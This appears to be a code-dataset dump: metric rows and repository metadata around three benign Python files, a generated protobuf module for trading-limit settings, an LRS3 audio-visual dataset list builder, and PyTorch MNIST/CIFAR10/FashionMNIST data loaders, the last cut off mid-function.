| 0.148063
| 0.06901
| 0.029842
| 0.823673
| 0.799283
| 0.77274
| 0.759828
| 0.732281
| 0.714347
| 0
| 0.015161
| 0.432895
| 14,306
| 236
| 134
| 60.618644
| 0.843954
| 0.237383
| 0
| 0.702128
| 0
| 0
| 0.016283
| 0
| 0
| 0
| 0
| 0.004237
| 0
| 1
| 0.010638
| false
| 0
| 0.015957
| 0
| 0.106383
| 0.005319
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c5e1ef485818e1268b7151857e3e12ceb4f00d68
| 22,351
|
py
|
Python
|
pb/risk_atc_pb2.py
|
zheng-zy/ot_root
|
920236b48458aeed72968bc7ec8e01a084b15951
|
[
"Artistic-2.0"
] | null | null | null |
pb/risk_atc_pb2.py
|
zheng-zy/ot_root
|
920236b48458aeed72968bc7ec8e01a084b15951
|
[
"Artistic-2.0"
] | null | null | null |
pb/risk_atc_pb2.py
|
zheng-zy/ot_root
|
920236b48458aeed72968bc7ec8e01a084b15951
|
[
"Artistic-2.0"
] | null | null | null |
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: risk_atc.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='risk_atc.proto',
package='risk_atc',
serialized_pb=_b('\n\x0erisk_atc.proto\x12\x08risk_atc\"\xaa\x04\n\x12\x61tc_order_set_info\x12&\n\x1e\x61ll_future_order_volume_second\x18\x01 \x02(\r\x12$\n\x1c\x61ll_future_order_volume_most\x18\x02 \x02(\r\x12%\n\x1dIF_future_order_volume_second\x18\x03 \x02(\r\x12#\n\x1bIF_future_order_volume_most\x18\x04 \x02(\r\x12\x1e\n\x16IC_order_volume_second\x18\x05 \x02(\r\x12\x1c\n\x14IC_order_volume_most\x18\x06 \x02(\r\x12\x1e\n\x16IH_order_volume_second\x18\x07 \x02(\r\x12\x1c\n\x14IH_order_volume_most\x18\x08 \x02(\r\x12\"\n\x1a\x63ombin_order_button_second\x18\t \x02(\r\x12!\n\x19\x63ombin_order_button_click\x18\n \x02(\r\x12\"\n\x1a\x63ombin_redem_button_second\x18\x0b \x02(\r\x12!\n\x19\x63ombin_redem_button_click\x18\x0c \x02(\r\x12\x1b\n\x13order_button_second\x18\r \x02(\r\x12\x1a\n\x12order_button_click\x18\x0e \x02(\r\x12\x1b\n\x13redem_button_second\x18\x0f \x02(\r\x12\x1a\n\x12redem_button_click\x18\x10 \x02(\r\"D\n\x11\x41TC_Order_Set_Req\x12/\n\tatc_order\x18\x01 \x02(\x0b\x32\x1c.risk_atc.atc_order_set_info\"3\n\x12\x41TC_Order_Set_Resp\x12\x10\n\x08ret_code\x18\x01 \x02(\x05\x12\x0b\n\x03msg\x18\x02 \x01(\t\"f\n\x14\x41TC_Order_Query_Info\x12\x10\n\x08ret_code\x18\x01 \x02(\x05\x12/\n\tatc_order\x18\x02 \x01(\x0b\x32\x1c.risk_atc.atc_order_set_info\x12\x0b\n\x03msg\x18\x03 \x01(\t\"\xfd\x01\n\x13\x61tc_button_set_info\x12\x1b\n\x13\x63ombo_create_second\x18\x01 \x02(\r\x12\x1a\n\x12\x63ombo_create_click\x18\x02 \x02(\r\x12\x1b\n\x13\x63ombo_redeem_second\x18\x03 \x02(\r\x12\x1a\n\x12\x63ombo_redeem_click\x18\x04 \x02(\r\x12\x1c\n\x14\x62utton_create_second\x18\x05 \x02(\r\x12\x1b\n\x13\x62utton_create_click\x18\x06 \x02(\r\x12\x1c\n\x14\x62utton_redeem_second\x18\x07 \x02(\r\x12\x1b\n\x13\x62utton_redeem_click\x18\x08 \x02(\r\"G\n\x12\x41TC_Button_Set_Req\x12\x31\n\natc_button\x18\x01 \x02(\x0b\x32\x1d.risk_atc.atc_button_set_info\"4\n\x13\x41TC_Button_Set_Resp\x12\x10\n\x08ret_code\x18\x01 \x02(\x05\x12\x0b\n\x03msg\x18\x02 \x01(\t\"i\n\x15\x41TC_Button_Query_Info\x12\x10\n\x08ret_code\x18\x01 \x02(\x05\x12\x31\n\natc_button\x18\x02 \x01(\x0b\x32\x1d.risk_atc.atc_button_set_info\x12\x0b\n\x03msg\x18\x03 \x01(\t')
)
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
_ATC_ORDER_SET_INFO = _descriptor.Descriptor(
name='atc_order_set_info',
full_name='risk_atc.atc_order_set_info',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='all_future_order_volume_second', full_name='risk_atc.atc_order_set_info.all_future_order_volume_second', index=0,
number=1, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='all_future_order_volume_most', full_name='risk_atc.atc_order_set_info.all_future_order_volume_most', index=1,
number=2, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='IF_future_order_volume_second', full_name='risk_atc.atc_order_set_info.IF_future_order_volume_second', index=2,
number=3, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='IF_future_order_volume_most', full_name='risk_atc.atc_order_set_info.IF_future_order_volume_most', index=3,
number=4, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='IC_order_volume_second', full_name='risk_atc.atc_order_set_info.IC_order_volume_second', index=4,
number=5, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='IC_order_volume_most', full_name='risk_atc.atc_order_set_info.IC_order_volume_most', index=5,
number=6, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='IH_order_volume_second', full_name='risk_atc.atc_order_set_info.IH_order_volume_second', index=6,
number=7, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='IH_order_volume_most', full_name='risk_atc.atc_order_set_info.IH_order_volume_most', index=7,
number=8, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='combin_order_button_second', full_name='risk_atc.atc_order_set_info.combin_order_button_second', index=8,
number=9, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='combin_order_button_click', full_name='risk_atc.atc_order_set_info.combin_order_button_click', index=9,
number=10, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='combin_redem_button_second', full_name='risk_atc.atc_order_set_info.combin_redem_button_second', index=10,
number=11, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='combin_redem_button_click', full_name='risk_atc.atc_order_set_info.combin_redem_button_click', index=11,
number=12, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='order_button_second', full_name='risk_atc.atc_order_set_info.order_button_second', index=12,
number=13, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='order_button_click', full_name='risk_atc.atc_order_set_info.order_button_click', index=13,
number=14, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='redem_button_second', full_name='risk_atc.atc_order_set_info.redem_button_second', index=14,
number=15, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='redem_button_click', full_name='risk_atc.atc_order_set_info.redem_button_click', index=15,
number=16, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
oneofs=[
],
serialized_start=29,
serialized_end=583,
)
_ATC_ORDER_SET_REQ = _descriptor.Descriptor(
name='ATC_Order_Set_Req',
full_name='risk_atc.ATC_Order_Set_Req',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='atc_order', full_name='risk_atc.ATC_Order_Set_Req.atc_order', index=0,
number=1, type=11, cpp_type=10, label=2,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
oneofs=[
],
serialized_start=585,
serialized_end=653,
)
_ATC_ORDER_SET_RESP = _descriptor.Descriptor(
name='ATC_Order_Set_Resp',
full_name='risk_atc.ATC_Order_Set_Resp',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='ret_code', full_name='risk_atc.ATC_Order_Set_Resp.ret_code', index=0,
number=1, type=5, cpp_type=1, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='msg', full_name='risk_atc.ATC_Order_Set_Resp.msg', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
oneofs=[
],
serialized_start=655,
serialized_end=706,
)
_ATC_ORDER_QUERY_INFO = _descriptor.Descriptor(
name='ATC_Order_Query_Info',
full_name='risk_atc.ATC_Order_Query_Info',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='ret_code', full_name='risk_atc.ATC_Order_Query_Info.ret_code', index=0,
number=1, type=5, cpp_type=1, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='atc_order', full_name='risk_atc.ATC_Order_Query_Info.atc_order', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='msg', full_name='risk_atc.ATC_Order_Query_Info.msg', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
oneofs=[
],
serialized_start=708,
serialized_end=810,
)
_ATC_BUTTON_SET_INFO = _descriptor.Descriptor(
name='atc_button_set_info',
full_name='risk_atc.atc_button_set_info',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='combo_create_second', full_name='risk_atc.atc_button_set_info.combo_create_second', index=0,
number=1, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='combo_create_click', full_name='risk_atc.atc_button_set_info.combo_create_click', index=1,
number=2, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='combo_redeem_second', full_name='risk_atc.atc_button_set_info.combo_redeem_second', index=2,
number=3, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='combo_redeem_click', full_name='risk_atc.atc_button_set_info.combo_redeem_click', index=3,
number=4, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='button_create_second', full_name='risk_atc.atc_button_set_info.button_create_second', index=4,
number=5, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='button_create_click', full_name='risk_atc.atc_button_set_info.button_create_click', index=5,
number=6, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='button_redeem_second', full_name='risk_atc.atc_button_set_info.button_redeem_second', index=6,
number=7, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='button_redeem_click', full_name='risk_atc.atc_button_set_info.button_redeem_click', index=7,
number=8, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
oneofs=[
],
serialized_start=813,
serialized_end=1066,
)
_ATC_BUTTON_SET_REQ = _descriptor.Descriptor(
name='ATC_Button_Set_Req',
full_name='risk_atc.ATC_Button_Set_Req',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='atc_button', full_name='risk_atc.ATC_Button_Set_Req.atc_button', index=0,
number=1, type=11, cpp_type=10, label=2,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
oneofs=[
],
serialized_start=1068,
serialized_end=1139,
)
_ATC_BUTTON_SET_RESP = _descriptor.Descriptor(
name='ATC_Button_Set_Resp',
full_name='risk_atc.ATC_Button_Set_Resp',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='ret_code', full_name='risk_atc.ATC_Button_Set_Resp.ret_code', index=0,
number=1, type=5, cpp_type=1, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='msg', full_name='risk_atc.ATC_Button_Set_Resp.msg', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
oneofs=[
],
serialized_start=1141,
serialized_end=1193,
)
_ATC_BUTTON_QUERY_INFO = _descriptor.Descriptor(
name='ATC_Button_Query_Info',
full_name='risk_atc.ATC_Button_Query_Info',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='ret_code', full_name='risk_atc.ATC_Button_Query_Info.ret_code', index=0,
number=1, type=5, cpp_type=1, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='atc_button', full_name='risk_atc.ATC_Button_Query_Info.atc_button', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='msg', full_name='risk_atc.ATC_Button_Query_Info.msg', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
oneofs=[
],
serialized_start=1195,
serialized_end=1300,
)
_ATC_ORDER_SET_REQ.fields_by_name['atc_order'].message_type = _ATC_ORDER_SET_INFO
_ATC_ORDER_QUERY_INFO.fields_by_name['atc_order'].message_type = _ATC_ORDER_SET_INFO
_ATC_BUTTON_SET_REQ.fields_by_name['atc_button'].message_type = _ATC_BUTTON_SET_INFO
_ATC_BUTTON_QUERY_INFO.fields_by_name['atc_button'].message_type = _ATC_BUTTON_SET_INFO
DESCRIPTOR.message_types_by_name['atc_order_set_info'] = _ATC_ORDER_SET_INFO
DESCRIPTOR.message_types_by_name['ATC_Order_Set_Req'] = _ATC_ORDER_SET_REQ
DESCRIPTOR.message_types_by_name['ATC_Order_Set_Resp'] = _ATC_ORDER_SET_RESP
DESCRIPTOR.message_types_by_name['ATC_Order_Query_Info'] = _ATC_ORDER_QUERY_INFO
DESCRIPTOR.message_types_by_name['atc_button_set_info'] = _ATC_BUTTON_SET_INFO
DESCRIPTOR.message_types_by_name['ATC_Button_Set_Req'] = _ATC_BUTTON_SET_REQ
DESCRIPTOR.message_types_by_name['ATC_Button_Set_Resp'] = _ATC_BUTTON_SET_RESP
DESCRIPTOR.message_types_by_name['ATC_Button_Query_Info'] = _ATC_BUTTON_QUERY_INFO
atc_order_set_info = _reflection.GeneratedProtocolMessageType('atc_order_set_info', (_message.Message,), dict(
DESCRIPTOR = _ATC_ORDER_SET_INFO,
__module__ = 'risk_atc_pb2'
# @@protoc_insertion_point(class_scope:risk_atc.atc_order_set_info)
))
_sym_db.RegisterMessage(atc_order_set_info)
ATC_Order_Set_Req = _reflection.GeneratedProtocolMessageType('ATC_Order_Set_Req', (_message.Message,), dict(
DESCRIPTOR = _ATC_ORDER_SET_REQ,
__module__ = 'risk_atc_pb2'
# @@protoc_insertion_point(class_scope:risk_atc.ATC_Order_Set_Req)
))
_sym_db.RegisterMessage(ATC_Order_Set_Req)
ATC_Order_Set_Resp = _reflection.GeneratedProtocolMessageType('ATC_Order_Set_Resp', (_message.Message,), dict(
DESCRIPTOR = _ATC_ORDER_SET_RESP,
__module__ = 'risk_atc_pb2'
# @@protoc_insertion_point(class_scope:risk_atc.ATC_Order_Set_Resp)
))
_sym_db.RegisterMessage(ATC_Order_Set_Resp)
ATC_Order_Query_Info = _reflection.GeneratedProtocolMessageType('ATC_Order_Query_Info', (_message.Message,), dict(
DESCRIPTOR = _ATC_ORDER_QUERY_INFO,
__module__ = 'risk_atc_pb2'
# @@protoc_insertion_point(class_scope:risk_atc.ATC_Order_Query_Info)
))
_sym_db.RegisterMessage(ATC_Order_Query_Info)
atc_button_set_info = _reflection.GeneratedProtocolMessageType('atc_button_set_info', (_message.Message,), dict(
DESCRIPTOR = _ATC_BUTTON_SET_INFO,
__module__ = 'risk_atc_pb2'
# @@protoc_insertion_point(class_scope:risk_atc.atc_button_set_info)
))
_sym_db.RegisterMessage(atc_button_set_info)
ATC_Button_Set_Req = _reflection.GeneratedProtocolMessageType('ATC_Button_Set_Req', (_message.Message,), dict(
DESCRIPTOR = _ATC_BUTTON_SET_REQ,
__module__ = 'risk_atc_pb2'
# @@protoc_insertion_point(class_scope:risk_atc.ATC_Button_Set_Req)
))
_sym_db.RegisterMessage(ATC_Button_Set_Req)
ATC_Button_Set_Resp = _reflection.GeneratedProtocolMessageType('ATC_Button_Set_Resp', (_message.Message,), dict(
DESCRIPTOR = _ATC_BUTTON_SET_RESP,
__module__ = 'risk_atc_pb2'
# @@protoc_insertion_point(class_scope:risk_atc.ATC_Button_Set_Resp)
))
_sym_db.RegisterMessage(ATC_Button_Set_Resp)
ATC_Button_Query_Info = _reflection.GeneratedProtocolMessageType('ATC_Button_Query_Info', (_message.Message,), dict(
DESCRIPTOR = _ATC_BUTTON_QUERY_INFO,
__module__ = 'risk_atc_pb2'
# @@protoc_insertion_point(class_scope:risk_atc.ATC_Button_Query_Info)
))
_sym_db.RegisterMessage(ATC_Button_Query_Info)
# @@protoc_insertion_point(module_scope)
| 41.855805
| 2,168
| 0.754194
| 3,295
| 22,351
| 4.704401
| 0.059484
| 0.059867
| 0.036127
| 0.042578
| 0.909296
| 0.852848
| 0.789562
| 0.744404
| 0.719566
| 0.708922
| 0
| 0.040341
| 0.128272
| 22,351
| 533
| 2,169
| 41.934334
| 0.755235
| 0.030692
| 0
| 0.707819
| 1
| 0.002058
| 0.242379
| 0.198042
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.012346
| 0
| 0.012346
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
a8a689a5ec261c06284128178da8a9532062df03
| 1,369
|
py
|
Python
|
data/AV_data_log.py
|
mrjunjieli/Looking-to-Listen-at-the-Cocktail-Party-A-Speaker-Indepent-Audio-Visual-Model-for-Speech-Separation
|
65c78393388707f6dd9f62c4ffc3621d22e1fa97
|
[
"MIT"
] | null | null | null |
data/AV_data_log.py
|
mrjunjieli/Looking-to-Listen-at-the-Cocktail-Party-A-Speaker-Indepent-Audio-Visual-Model-for-Speech-Separation
|
65c78393388707f6dd9f62c4ffc3621d22e1fa97
|
[
"MIT"
] | 1
|
2021-03-01T12:37:12.000Z
|
2021-03-01T12:37:12.000Z
|
data/AV_data_log.py
|
mrjunjieli/Looking-to-Listen-at-the-Cocktail-Party-A-Speaker-Indepent-Audio-Visual-Model-for-Speech-Separation
|
65c78393388707f6dd9f62c4ffc3621d22e1fa97
|
[
"MIT"
] | null | null | null |
base_datapath = '/Work19/2020/lijunjie/LRS3/AV_model_database/'
with open(base_datapath+'pretrain_dataset.txt', 'r') as tr:
lines = tr.readlines()
for line in lines:
info = line.strip().split('.')
num1 = info[0].strip().split('-')[1]
num2 = info[0].strip().split('-')[2]
new_line = line.strip() + ' ' + num1 + '_faceemb.npy' + ' ' + num2 + '_faceemb.npy\n'
with open(base_datapath+'AVdataset_pretrain.txt', 'a') as f:
f.write(new_line)
with open(base_datapath+'trainval_dataset.txt', 'r') as val:
lines = val.readlines()
for line in lines:
info = line.strip().split('.')
num1 = info[0].strip().split('-')[1]
num2 = info[0].strip().split('-')[2]
new_line = line.strip() + ' ' + num1 + '_faceemb.npy' + ' ' + num2 + '_faceemb.npy\n'
with open(base_datapath+'AVdataset_trainval.txt','a') as f:
f.write(new_line)
with open(base_datapath+'test_dataset.txt', 'r') as val:
lines = val.readlines()
for line in lines:
info = line.strip().split('.')
num1 = info[0].strip().split('-')[1]
num2 = info[0].strip().split('-')[2]
new_line = line.strip() + ' ' + num1 + '_faceemb.npy' + ' ' + num2 + '_faceemb.npy\n'
with open(base_datapath+'AVdataset_test.txt','a') as f:
f.write(new_line)
| 42.78125
| 93
| 0.563185
| 183
| 1,369
| 4.065574
| 0.224044
| 0.120968
| 0.096774
| 0.16129
| 0.823925
| 0.823925
| 0.823925
| 0.823925
| 0.797043
| 0.797043
| 0
| 0.029779
| 0.239591
| 1,369
| 32
| 94
| 42.78125
| 0.684918
| 0
| 0
| 0.714286
| 0
| 0
| 0.191241
| 0.064964
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
763f87aaf48d7bc22f7d9d0af9203d4cad9f38a1
| 5,203
|
py
|
Python
|
perpyu/pytorch/dataloaders.py
|
ashutoshbsathe/perpyu
|
6200468bbfda20570fe79d2a70ff8016f73cfa0f
|
[
"MIT"
] | null | null | null |
perpyu/pytorch/dataloaders.py
|
ashutoshbsathe/perpyu
|
6200468bbfda20570fe79d2a70ff8016f73cfa0f
|
[
"MIT"
] | null | null | null |
perpyu/pytorch/dataloaders.py
|
ashutoshbsathe/perpyu
|
6200468bbfda20570fe79d2a70ff8016f73cfa0f
|
[
"MIT"
] | null | null | null |
import torchvision.datasets as datasets
import torchvision.transforms as transforms
from torch.utils.data.sampler import SubsetRandomSampler as SRS
import torch.utils.data as data_utils
import numpy as np
import sys
MNIST_DATA_ROOT = './mnist_data/'
CIFAR10_DATA_ROOT = './cifar10_data/'
FMNIST_DATA_ROOT = './fmnist_data/'
SEED = 161803398 # Golden Ratio
def get_mnist_data_loaders(batch_size=64, n_train=50000, \
n_val=10000, n_test=10000, train_transform=None, \
val_transform=None, test_transform=None):
assert n_train + n_val == 60000
if train_transform is None:
train_transform = transforms.Compose([
transforms.ToTensor(),
])
if val_transform is None:
val_transform = transforms.Compose([
transforms.ToTensor(),
])
if test_transform is None:
test_transform = transforms.Compose([
transforms.ToTensor(),
])
train_set = datasets.MNIST(root=MNIST_DATA_ROOT, download=True, \
train=True, transform=train_transform)
val_set = datasets.MNIST(root=MNIST_DATA_ROOT, download=True, \
train=True, transform=val_transform)
test_set = datasets.MNIST(root=MNIST_DATA_ROOT, download=True, \
train=False, transform=test_transform)
indices = np.arange(0, 60000)
np.random.seed(SEED)
np.random.shuffle(indices)
train_sampler = SRS(indices[:n_train])
val_sampler = SRS(indices[n_train:])
test_sampler = SRS(np.arange(0, 10000))
train_loader = data_utils.DataLoader(train_set, batch_size=batch_size, \
sampler=train_sampler)
val_loader = data_utils.DataLoader(val_set, batch_size=batch_size, \
sampler=val_sampler)
test_loader = data_utils.DataLoader(test_set, batch_size=batch_size, \
sampler=test_sampler)
return train_loader, val_loader, test_loader
def get_cifar10_data_loaders(batch_size=64, n_train=40000, \
n_val=10000, n_test=10000, train_transform=None, \
val_transform=None, test_transform=None):
assert n_train + n_val == 50000
if train_transform is None:
train_transform = transforms.Compose([
transforms.RandomCrop(size=32, padding=4),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize((0.,0.,0.), (1.,1.,1.))
])
if val_transform is None:
val_transform = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.,0.,0.), (1.,1.,1.))
])
if test_transform is None:
test_transform = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.,0.,0.), (1.,1.,1.))
])
train_set = datasets.CIFAR10(root=CIFAR10_DATA_ROOT, download=True, \
train=True, transform=train_transform)
val_set = datasets.CIFAR10(root=CIFAR10_DATA_ROOT, download=True, \
train=True, transform=val_transform)
test_set = datasets.CIFAR10(root=CIFAR10_DATA_ROOT, download=True, \
train=False, transform=test_transform)
indices = np.arange(0, 50000)
np.random.seed(SEED)
np.random.shuffle(indices)
train_sampler = SRS(indices[:n_train])
val_sampler = SRS(indices[n_train:])
test_sampler = SRS(np.arange(0, 10000))
train_loader = data_utils.DataLoader(train_set, batch_size=batch_size, \
sampler=train_sampler)
val_loader = data_utils.DataLoader(val_set, batch_size=batch_size, \
sampler=val_sampler)
test_loader = data_utils.DataLoader(test_set, batch_size=batch_size, \
sampler=test_sampler)
return train_loader, val_loader, test_loader
def get_fmnist_data_loaders(batch_size=64, n_train=50000, \
n_val=10000, n_test=10000, train_transform=None, \
val_transform=None, test_transform=None):
assert n_train + n_val == 60000
if train_transform is None:
train_transform = transforms.Compose([
transforms.ToTensor(),
])
if val_transform is None:
val_transform = transforms.Compose([
transforms.ToTensor(),
])
if test_transform is None:
test_transform = transforms.Compose([
transforms.ToTensor(),
])
train_set = datasets.FashionMNIST(root=FMNIST_DATA_ROOT, download=True, \
train=True, transform=train_transform)
val_set = datasets.FashionMNIST(root=FMNIST_DATA_ROOT, download=True, \
train=True, transform=val_transform)
test_set = datasets.FashionMNIST(root=FMNIST_DATA_ROOT, download=True, \
train=False, transform=test_transform)
indices = np.arange(0, 60000)
np.random.seed(SEED)
np.random.shuffle(indices)
train_sampler = SRS(indices[:n_train])
val_sampler = SRS(indices[n_train:])
test_sampler = SRS(np.arange(0, 10000))
train_loader = data_utils.DataLoader(train_set, batch_size=batch_size, \
sampler=train_sampler)
val_loader = data_utils.DataLoader(val_set, batch_size=batch_size, \
sampler=val_sampler)
